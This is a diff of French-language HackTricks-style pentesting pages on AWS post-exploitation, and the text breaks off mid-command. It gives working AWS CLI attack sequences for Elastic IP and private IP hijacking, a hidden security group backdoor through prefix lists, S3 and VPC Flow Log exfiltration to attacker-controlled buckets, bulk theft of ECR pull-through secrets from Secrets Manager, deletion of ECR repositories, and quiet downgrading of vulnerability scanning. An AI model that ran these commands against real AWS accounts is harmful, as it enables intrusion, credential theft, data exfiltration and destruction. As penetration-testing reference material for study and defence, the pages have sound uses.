> - `OS_USER` doit correspondre à l'AMI (par ex., `ubuntu` pour Ubuntu, `ec2-user` pour Amazon Linux 2).
|
||||
@@ -0,0 +1,52 @@
|
||||
# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Résumé
|
||||
|
||||
Abuser de `ec2:AssociateAddress` (et éventuellement `ec2:DisassociateAddress`) pour réassocier un Elastic IP (EIP) depuis une instance/ENI victime vers une instance/ENI attaquante. Cela redirige le trafic entrant destiné à l'EIP vers l'attaquant et permet également à l'attaquant d'initier du trafic sortant avec l'IP publique allowlistée pour contourner les pare-feux des partenaires externes.
|
||||
|
||||
## Prérequis
|
||||
- Target EIP allocation ID in the same account/VPC.
|
||||
- Instance/ENI de l'attaquant que vous contrôlez.
|
||||
- Autorisations :
|
||||
- `ec2:DescribeAddresses`
|
||||
- `ec2:AssociateAddress` sur l'EIP allocation-id et sur l'instance/ENI de l'attaquant
|
||||
- `ec2:DisassociateAddress` (optionnel). Remarque : `--allow-reassociation` désassociera automatiquement de l'attachement précédent.
|
||||
|
||||
## Attaque
|
||||
|
||||
Variables
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ATTACKER_INSTANCE=<i-attacker>
|
||||
VICTIM_INSTANCE=<i-victim>
|
||||
```
|
||||
1) Allouer ou identifier l'EIP de la victime (le lab alloue un nouveau et l'attache à la victime)
|
||||
```bash
|
||||
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
|
||||
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
|
||||
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
|
||||
```
|
||||
2) Vérifier que l'EIP pointe actuellement vers le victim service (ex. vérification d'une banner)
|
||||
```bash
|
||||
curl -sS http://$EIP | grep -i victim
|
||||
```
|
||||
3) Réassocier l'EIP à l'attacker (se désassocie automatiquement de la victim)
|
||||
```bash
|
||||
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
|
||||
```
|
||||
4) Vérifiez que l'EIP se résout maintenant vers le attacker service
|
||||
```bash
|
||||
sleep 5; curl -sS http://$EIP | grep -i attacker
|
||||
```
|
||||
Preuve (association déplacée) :
|
||||
```bash
|
||||
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
|
||||
--query Addresses[0].AssociationId --output text
|
||||
```
|
||||
## Impact
|
||||
- Inbound impersonation: Tout le trafic vers le hijacked EIP est acheminé vers l'instance/ENI de l'attacker.
|
||||
- Outbound impersonation: Attacker peut initier du trafic qui semble provenir de l'allowlisted public IP (utile pour bypasser les partner/external source IP filters).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,50 @@
|
||||
# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse `ec2:UnassignPrivateIpAddresses` and `ec2:AssignPrivateIpAddresses` pour voler l'IP privée secondaire d'une ENI victime et la déplacer vers une ENI attaquante dans le même subnet/AZ. De nombreux services internes et groupes de sécurité restreignent l'accès à des adresses IP privées spécifiques. En déplaçant cette adresse secondaire, l'attaquant usurpe l'hôte de confiance au niveau L3 et peut atteindre des services allowlisted.
|
||||
|
||||
Prérequis :
|
||||
- Autorisations : `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` sur l'ARN de l'ENI victime, et `ec2:AssignPrivateIpAddresses` sur l'ARN de l'ENI attaquante.
|
||||
- Les deux ENI doivent être dans le même subnet/AZ. L'adresse ciblée doit être une IP secondaire (la primaire ne peut pas être désassignée).
|
||||
|
||||
Variables :
|
||||
- REGION=us-east-1
|
||||
- VICTIM_ENI=<eni-xxxxxxxx>
|
||||
- ATTACKER_ENI=<eni-yyyyyyyy>
|
||||
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
|
||||
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
|
||||
|
||||
Étapes :
|
||||
1) Choisir une IP secondaire de l'ENI victime
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
|
||||
export HIJACK_IP=$(cat HIJACK_IP)
|
||||
```
|
||||
2) Assurez-vous que l'hôte protégé n'autorise que cette IP (idempotent). Si vous utilisez des règles SG-to-SG à la place, ignorez cette étape.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
|
||||
```
|
||||
3) Baseline : depuis l'instance attaquante, la requête vers PROTECTED_HOST doit échouer sans usurpation de source (par ex., via SSM/SSH)
|
||||
```bash
|
||||
curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```
|
||||
4) Désassocier l'IP secondaire de l'ENI de la victime
|
||||
```bash
|
||||
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
5) Assignez la même IP à l'attacker ENI (sur AWS CLI v1, ajoutez `--allow-reassignment`)
|
||||
```bash
|
||||
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
6) Vérifier que la propriété a été transférée
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
|
||||
```
|
||||
7) Depuis l'instance attacker, source-bind sur la hijacked IP pour atteindre le protected host (vérifiez que l'IP est configurée sur l'OS ; si ce n'est pas le cas, ajoutez-la avec `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
```bash
|
||||
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
|
||||
```
|
||||
## Impact
|
||||
- Contourner les IP allowlists et usurper des hôtes de confiance au sein du VPC en déplaçant des secondary private IPs entre des ENIs dans le même subnet/AZ.
|
||||
- Accéder à des services internes qui restreignent l'accès selon des specific source IPs, permettant lateral movement et l'accès aux données.
|
||||
@@ -0,0 +1,72 @@
|
||||
# AWS - Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Résumé
|
||||
Exploiter les customer-managed Prefix Lists pour créer un accès furtif. Si une security group (SG) rule référence une managed Prefix List, toute personne ayant la capacité de modifier cette liste peut ajouter silencieusement des CIDRs contrôlés par l'attaquant. Chaque SG (et potentiellement Network ACL ou VPC endpoint) qui référence la liste autorise immédiatement les nouvelles plages sans aucun changement visible dans le SG.
|
||||
|
||||
## Impact
|
||||
- Extension instantanée des plages IP autorisées pour tous les SG référencant la Prefix List, contournant les contrôles de changement qui ne surveillent que les modifications de SG.
|
||||
- Permet des backdoors persistants d'ingress/egress : garder le CIDR malveillant caché dans la Prefix List tandis que la SG rule semble inchangée.
|
||||
|
||||
## Prérequis
|
||||
- IAM permissions:
|
||||
- `ec2:DescribeManagedPrefixLists`
|
||||
- `ec2:GetManagedPrefixListEntries`
|
||||
- `ec2:ModifyManagedPrefixList`
|
||||
- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (to identify attached SGs)
|
||||
- Optional: `ec2:CreateManagedPrefixList` if creating a new one for testing.
|
||||
- Environnement : Au moins une SG rule référencant la customer-managed Prefix List ciblée.
|
||||
|
||||
## Variables
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
PREFIX_LIST_ID=<pl-xxxxxxxx>
|
||||
ENTRY_CIDR=<attacker-cidr/32>
|
||||
DESCRIPTION="Backdoor – allow attacker"
|
||||
```
|
||||
## Étapes d'attaque
|
||||
|
||||
1) **Énumérer les prefix lists candidates et les consommateurs**
|
||||
```bash
|
||||
aws ec2 describe-managed-prefix-lists \
|
||||
--region "$REGION" \
|
||||
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
|
||||
--output table
|
||||
|
||||
aws ec2 get-managed-prefix-list-entries \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--region "$REGION" \
|
||||
--query 'Entries[*].[Cidr,Description]'
|
||||
```
|
||||
Utilisez `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` pour confirmer quelles règles SG dépendent de la liste.
|
||||
|
||||
2) **Ajouter le CIDR de l'attaquant à la prefix list**
|
||||
```bash
|
||||
aws ec2 modify-managed-prefix-list \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
|
||||
--region "$REGION"
|
||||
```
|
||||
3) **Valider la propagation vers les groupes de sécurité**
|
||||
```bash
|
||||
aws ec2 describe-security-group-rules \
|
||||
--region "$REGION" \
|
||||
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
|
||||
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
|
||||
--output table
|
||||
```
|
||||
Le trafic en provenance de `$ENTRY_CIDR` est désormais autorisé partout où la prefix list est référencée (généralement dans les règles sortantes des proxies de sortie ou les règles entrantes des services partagés).
|
||||
|
||||
## Preuves
|
||||
- `get-managed-prefix-list-entries` reflète le CIDR de l'attaquant et la description.
|
||||
- `describe-security-group-rules` affiche toujours la règle SG originale faisant référence à la prefix list (aucune modification du SG enregistrée), et pourtant le trafic provenant du nouveau CIDR passe.
|
||||
|
||||
## Nettoyage
|
||||
```bash
|
||||
aws ec2 modify-managed-prefix-list \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--remove-entries Cidr="$ENTRY_CIDR" \
|
||||
--region "$REGION"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,69 @@
|
||||
# AWS – Contournement de l'egress depuis des subnets isolés via VPC Endpoints
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Summary
|
||||
|
||||
Cette technique abuse des VPC Endpoints pour créer des canaux d'exfiltration depuis des subnets sans Internet Gateways ni NAT. Les Gateway endpoints (p.ex. S3) ajoutent des prefix‑list routes dans les subnet route tables ; les Interface endpoints (p.ex. execute-api, secretsmanager, ssm, etc.) créent des ENIs atteignables avec des private IPs protégées par des security groups. Avec des permissions VPC/EC2 minimales, un attaquant peut activer un egress contrôlé qui ne traverse pas le public Internet.
|
||||
|
||||
> Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs.
|
||||
|
||||
## Option A – S3 Gateway VPC Endpoint
|
||||
|
||||
**Variables**
|
||||
- `REGION=us-east-1`
|
||||
- `VPC_ID=<target vpc>`
|
||||
- `RTB_IDS=<comma-separated route table IDs of private subnets>`
|
||||
|
||||
1) Create a permissive endpoint policy file (optional). Save as `allow-put-get-any-s3.json`:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
|
||||
}
|
||||
```
|
||||
2) Créer le S3 Gateway endpoint (ajoute une S3 prefix‑list route aux route tables sélectionnées) :
|
||||
```bash
|
||||
aws ec2 create-vpc-endpoint \
|
||||
--vpc-id $VPC_ID \
|
||||
--service-name com.amazonaws.$REGION.s3 \
|
||||
--vpc-endpoint-type Gateway \
|
||||
--route-table-ids $RTB_IDS \
|
||||
--policy-document file://allow-put-get-any-s3.json # optional
|
||||
```
|
||||
Éléments de preuve à collecter :
|
||||
|
||||
- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` indique une route vers la prefix list AWS S3 (par ex., `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
|
||||
- Depuis une instance dans ces subnets (avec IAM perms) vous pouvez exfil via S3 sans Internet:
|
||||
```bash
|
||||
# On the isolated instance (e.g., via SSM):
|
||||
echo data > /tmp/x.txt
|
||||
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
|
||||
```
|
||||
## Option B – Interface VPC Endpoint pour API Gateway (execute-api)
|
||||
|
||||
**Variables**
|
||||
- `REGION=us-east-1`
|
||||
- `VPC_ID=<target vpc>`
|
||||
- `SUBNET_IDS=<comma-separated private subnets>`
|
||||
- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
|
||||
|
||||
1) Créez l'interface endpoint et attachez le SG :
|
||||
```bash
|
||||
aws ec2 create-vpc-endpoint \
|
||||
--vpc-id $VPC_ID \
|
||||
--service-name com.amazonaws.$REGION.execute-api \
|
||||
--vpc-endpoint-type Interface \
|
||||
--subnet-ids $SUBNET_IDS \
|
||||
--security-group-ids $SG_VPCE \
|
||||
--private-dns-enabled
|
||||
```
|
||||
Éléments de preuve à recueillir :
|
||||
- `aws ec2 describe-vpc-endpoints` montre le endpoint en état `available` avec `NetworkInterfaceIds` (ENIs dans vos subnets).
|
||||
- Les instances dans ces subnets peuvent atteindre les Private API Gateway endpoints via ces ENIs VPCE (aucun chemin Internet requis).
|
||||
|
||||
## Impact
|
||||
- Contourne les contrôles de sortie (egress) périmétriques en exploitant des chemins privés gérés par AWS vers les services AWS.
|
||||
- Permet l'exfiltration de données depuis des subnets isolés (par ex., écrire sur S3 ; appeler Private API Gateway ; accéder à Secrets Manager/SSM/STS, etc.) sans IGW/NAT.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,74 @@
|
||||
# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Summary
|
||||
Abuse `ec2:CreateFlowLogs` pour exporter des VPC, subnet ou ENI flow logs directement vers un attacker-controlled S3 bucket. Une fois que le delivery role est configuré pour écrire dans le bucket externe, chaque connexion observée sur la ressource monitorée est streamée hors du compte victim.
|
||||
|
||||
## Requirements
|
||||
- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (if a delivery role is required/created).
|
||||
- Attacker bucket: S3 policy that trusts `delivery.logs.amazonaws.com` with `s3:PutObject` and `bucket-owner-full-control`.
|
||||
- Optional: `logs:DescribeLogGroups` if exporting to CloudWatch instead of S3 (not needed here).
|
||||
|
||||
## Attack Walkthrough
|
||||
|
||||
1) **Attacker** prépare une S3 bucket policy (dans le compte de l'attacker) qui permet au VPC Flow Logs delivery service d'écrire des objets. Replace placeholders before applying:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowVPCFlowLogsDelivery",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "delivery.logs.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
|
||||
"Condition": {
|
||||
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Appliquer depuis le compte de l'attaquant :
|
||||
```bash
|
||||
aws s3api put-bucket-policy \
|
||||
--bucket <attacker-bucket> \
|
||||
--policy file://flowlogs-policy.json
|
||||
```
|
||||
2) **Victim** (compromised principal) crée les flow logs ciblant l'attacker bucket:
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
VPC_ID=<vpc-xxxxxxxx>
|
||||
ROLE_ARN=<delivery-role-with-logs-permissions> # Must allow delivery.logs.amazonaws.com to assume it
|
||||
aws ec2 create-flow-logs \
|
||||
--resource-type VPC \
|
||||
--resource-ids "$VPC_ID" \
|
||||
--traffic-type ALL \
|
||||
--log-destination-type s3 \
|
||||
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
|
||||
--deliver-logs-permission-arn "$ROLE_ARN" \
|
||||
--region "$REGION"
|
||||
```
|
||||
En quelques minutes, des flow log files apparaissent dans le attacker bucket contenant des connexions pour tous les ENIs du VPC/subnet surveillé.
|
||||
|
||||
## Preuves
|
||||
|
||||
Exemples d'enregistrements de flow log écrits dans le attacker bucket :
|
||||
```text
|
||||
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
|
||||
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
|
||||
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
|
||||
```
|
||||
Preuve de bucket listing:
|
||||
```bash
|
||||
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
|
||||
```
|
||||
## Impact
|
||||
- Exfiltration continue de métadonnées réseau (IPs source/destination, ports, protocoles) pour le VPC/subnet/ENI surveillé.
|
||||
- Permet l'analyse du trafic, l'identification de services sensibles et le hunting potentiel de misconfigurations des security groups depuis l'extérieur du compte victime.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,92 +0,0 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Pour plus d'informations, consultez
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Connexion, Tirer & Pousser
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
||||
## For private repo
|
||||
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
||||
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
||||
|
||||
# Download
|
||||
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
||||
## If you still have the error "Requested image not found"
|
||||
## It might be because the tag "latest" doesn't exit
|
||||
## Get valid tags with:
|
||||
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
||||
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
||||
|
||||
# Inspect the image
|
||||
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
||||
|
||||
# Upload (example uploading purplepanda with tag latest)
|
||||
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Après avoir téléchargé les images, vous devriez **vérifier leur contenu pour des informations sensibles** :
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Un attaquant disposant de l'une de ces autorisations peut **créer ou modifier une politique de cycle de vie pour supprimer toutes les images du dépôt** et ensuite **supprimer l'ensemble du dépôt ECR**. Cela entraînerait la perte de toutes les images de conteneur stockées dans le dépôt.
|
||||
```bash
|
||||
bashCopy code# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
||||
|
||||
# Delete the ECR repository
|
||||
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete the ECR public repository
|
||||
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete multiple images from the ECR repository
|
||||
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,206 @@
|
||||
# AWS - ECR Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Pour plus d'informations, consultez
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Login, Pull & Push
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
|
||||
## For private repo
|
||||
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
|
||||
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
|
||||
|
||||
# Download
|
||||
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
|
||||
## If you still have the error "Requested image not found"
|
||||
## It might be because the tag "latest" doesn't exit
|
||||
## Get valid tags with:
|
||||
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
|
||||
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
|
||||
|
||||
# Inspect the image
|
||||
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
|
||||
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
|
||||
|
||||
# Upload (example uploading purplepanda with tag latest)
|
||||
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
|
||||
|
||||
# Downloading without Docker
|
||||
# List digests
|
||||
aws ecr batch-get-image --repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
|
||||
|
||||
## Download a digest
|
||||
aws ecr get-download-url-for-layer \
|
||||
--repository-name level2 \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Après avoir téléchargé les images vous devriez **les vérifier pour des informations sensibles**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Un attaquant disposant de l'une de ces permissions peut **créer ou modifier une politique de cycle de vie pour supprimer toutes les images du repository** puis **supprimer l'intégralité du repository ECR**. Cela entraînerait la perte de toutes les images de conteneur stockées dans le repository.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
"rules": [
|
||||
{
|
||||
"rulePriority": 1,
|
||||
"description": "Delete all images",
|
||||
"selection": {
|
||||
"tagStatus": "any",
|
||||
"countType": "imageCountMoreThan",
|
||||
"countNumber": 0
|
||||
},
|
||||
"action": {
|
||||
"type": "expire"
|
||||
}
|
||||
}
|
||||
]
|
||||
}' > malicious_policy.json
|
||||
|
||||
# Apply the malicious lifecycle policy to the ECR repository
|
||||
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
|
||||
|
||||
# Delete the ECR repository
|
||||
aws ecr delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete the ECR public repository
|
||||
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
|
||||
|
||||
# Delete multiple images from the ECR repository
|
||||
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Exfiltrate les identifiants de registre upstream depuis ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Si ECR Pull‑Through Cache est configuré pour des registres upstream authentifiés (Docker Hub, GHCR, ACR, etc.), les identifiants upstream sont stockés dans AWS Secrets Manager avec un préfixe de nom prévisible : `ecr-pullthroughcache/`. Les opérateurs accordent parfois aux ECR admins un accès en lecture étendu à Secrets Manager, permettant la credential exfiltration et la réutilisation en dehors d'AWS.
|
||||
|
||||
Prérequis
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Énumérer les secrets PTC candidats
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Exporter les secrets découverts et analyser les champs communs
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
aws secretsmanager get-secret-value --secret-id "$s" \
|
||||
--query SecretString --output text | tee /tmp/ptc_secret.json
|
||||
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
Optionnel: valider leaked creds contre l'upstream (login en lecture seule)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impact
|
||||
- La lecture de ces entrées Secrets Manager donne des identifiants de registre en amont réutilisables (nom d'utilisateur/mot de passe ou token), qui peuvent être abusés en dehors d'AWS pour récupérer des images privées ou accéder à d'autres dépôts selon les permissions en amont.
|
||||
|
||||
|
||||
### Furtivité au niveau du registre : désactiver ou réduire l'analyse via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Un attaquant disposant des permissions ECR au niveau du registre peut silencieusement réduire ou désactiver l'analyse automatique des vulnérabilités pour TOUS les dépôts en définissant la configuration d'analyse du registre sur BASIC sans aucune règle scan-on-push. Cela empêche les nouveaux push d'images d'être analysés automatiquement, masquant des images vulnérables ou malveillantes.
|
||||
|
||||
Prérequis
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (optionnel, par dépôt)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (vérification)
|
||||
|
||||
Rétrogradation au niveau du registre vers manuel (pas d'analyses automatiques)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
aws ecr get-registry-scanning-configuration --region "$REGION"
|
||||
|
||||
# Set BASIC scanning with no rules (results in MANUAL scanning only)
|
||||
aws ecr put-registry-scanning-configuration \
|
||||
--region "$REGION" \
|
||||
--scan-type BASIC \
|
||||
--rules '[]'
|
||||
```
|
||||
Test avec un repo et une image
|
||||
```bash
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
repo=ht-scan-stealth
|
||||
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
|
||||
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
